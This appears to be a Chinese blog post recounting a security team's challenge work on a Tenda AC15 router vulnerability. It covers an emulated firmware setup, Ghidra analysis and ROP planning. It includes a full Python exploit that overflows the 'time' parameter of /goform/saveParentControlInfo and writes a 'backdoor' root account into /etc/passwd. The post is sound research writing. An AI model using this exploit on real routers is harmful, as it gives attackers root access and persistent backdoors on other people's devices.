物联网设备漏洞挖掘实战 - Tenda AC15路由器堆栈溢出利用

本文详细记录了Doyensec安全团队对Tenda AC15路由器CVE-2024-2850漏洞的分析与利用过程,通过堆栈溢出实现任意代码执行,最终成功获取设备root权限。

引言

在我们上一次的公司团建中,Doyensec团队乘坐邮轮游览地中海沿岸。虽然每个停靠点都很精彩,但作为极客,我们需要用必要的黑客活动来打破日常泳池派对的单调。我们的负责人Luca和John准备了三个挑战,让我们绞尽脑汁寻找解决方案。每个挑战的目标都是分析一个没有已知漏洞利用的真实漏洞,并尝试自己制作漏洞利用。这些漏洞分为三类:物联网、Web和二进制利用;我们都选择了自己想要处理的类别,分成团队开始工作。

这个团体活动的名称是"!exploitable"。对于那些不知道这是什么的人(我之前也不知道),它指的是微软为WinDbg调试器制作的一个扩展。使用!exploitable命令,调试器会分析程序的状态,告诉你存在什么类型的漏洞以及它是否看起来可利用。

漏洞分析

我们被分配调查的漏洞是Tenda AC15路由器固件中的缓冲区溢出,即CVE-2024-2850。咨询中还链接到一个GitHub上的markdown文件,其中包含更多细节和一个简单的概念验证。虽然仓库已被删除,但Wayback Machine存档了该页面。

GitHub文档将该漏洞描述为基于堆栈的缓冲区溢出,并说明可以通过路由器控制面板API的/goform/saveParentControlInfo端点的urls参数触发。然而,我们立即注意到咨询中存在一些不一致之处。首先,附加的截图清楚地显示urls参数的内容被复制到使用malloc分配的缓冲区(v18)中,因此溢出应该发生在堆上,而不是堆栈上。

该页面还包括一个非常简单的概念验证,旨在通过发送带有大负载的请求来使应用程序崩溃。然而,我们在这里发现了另一个不一致之处,因为PoC中使用的参数简称为u,而不是咨询文本中描述的urls

环境搭建

第一步是建立一个运行易受攻击固件的工作环境。通常,你需要获取固件,提取二进制文件,并使用QEMU进行模拟。但我们在船上,网络连接非常不稳定,没有StackOverflow我们无法完成所有工作。

幸运的是,有一个名为EMUX的惊人项目,专为漏洞利用练习而构建,正是我们所需要的。简而言之,EMUX在Docker容器中运行QEMU。令人惊叹的部分是它已经包含了许多易受攻击的ARM和MIPS固件(包括Tenda AC15);它还负责网络、修补特定硬件检查的二进制文件,并且预装了许多工具(如带有GEF的GDB),这非常方便。

漏洞调查

二进制分析

我们启动了Ghidra,花了一些时间理解代码,同时修复变量和函数的名称和类型,希望能更好地了解函数的功能。幸运的是,我们做到了,以下是函数功能的概述:

  1. 分配所有堆栈变量和缓冲区
  2. 将body参数读入单独的堆分配缓冲区
  3. 保存设备名称和MAC地址
  4. 将time参数拆分为time_to和time_from
  5. 为解析和存储家长控制规则在堆中分配一些缓冲区
  6. 解析其他body字段——主要是调用strcpy和atoi——并将结果存储在一个大的堆缓冲区中
  7. 执行一些健全性检查(例如,规则已存在,达到最大规则数)并保存规则
  8. 发送HTTP响应
  9. 返回

漏洞利用策略

利用策略是实现一个简单的ROP链来调用system()并执行shell命令。ROP代表面向返回的编程,包括在堆栈中写入一堆返回指针和数据,使程序跳转到内存中的某个位置,并从其他函数借用小的指令片段(称为gadget)运行,然后到达新的返回指令并再次跳转到其他地方,重复该模式直到链完成。

我们使用ropper寻找类似于pop {r0}; pop {pc}的gadget,但在其地址中没有空字节的情况下不容易找到合适的。幸运的是,我们实际上在libc.so内部找到了一个很好的pop {r0, pc}指令,一举两得。

完整利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#!/usr/bin/env python3
import requests
import random
import sys
import struct

p32 = lambda addr: struct.pack("<I", addr)

def gen_payload():
    timeto_addr = p32(0xbefff510)
    system_addr = p32(0x4025c270)
    cmd = "echo 'backdoor:$1$xyz$ufCh61iwD3FifSl2zK3EI0:0:0:injected:/:/bin/sh' >> /etc/passwd"
    cmd_str_addr = p32(0xbefff8e0)
    pop_r0_pc = p32(0x4023fb80)
    
    payload = b"A"*880
    payload += timeto_addr * 17
    payload += pop_r0_pc
    payload += cmd_str_addr
    payload += system_addr
    payload += cmd.encode()
    
    return payload

def exploit(target: str):
    name = "test" + ''.join([str(i) for i in [random.randint(0,9) for _ in range(5)]])
    res = requests.post(
        f"http://{target}/goform/saveParentControlInfo?img/main-logo.png",
        data={
            "deviceId":"00:00:00:00:00:02",
            "deviceName":name,
            "enable":0,
            "time": gen_payload() + b"-1",
            "url_enable":1,
            "urls":"x.com",
            "day":"1,1,1,1,1,1,1",
            "limit_type":1
            }
    )
    print("Exploit sent")

利用程序完美运行,并向系统添加了一个新的"backdoor"用户。然后我们可以简单地通过Telnet连接获得完整的root shell。

结论

活动结束后,我们进行了一些调查,发现我们最终利用的特定漏洞已知为CVE-2020-13393。据我们所知,我们的PoC是该特定端点的第一个有效利用。然而,由于该平台已有大量其他利用程序,其实用性有所降低。

尽管如此,这个挑战是一次很好的学习经历。我们得以更深入地研究ARM架构,并提高了我们的漏洞开发技能。在没有可靠网络的情况下一起工作,也使我们能够分享知识并从不同的角度解决问题。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计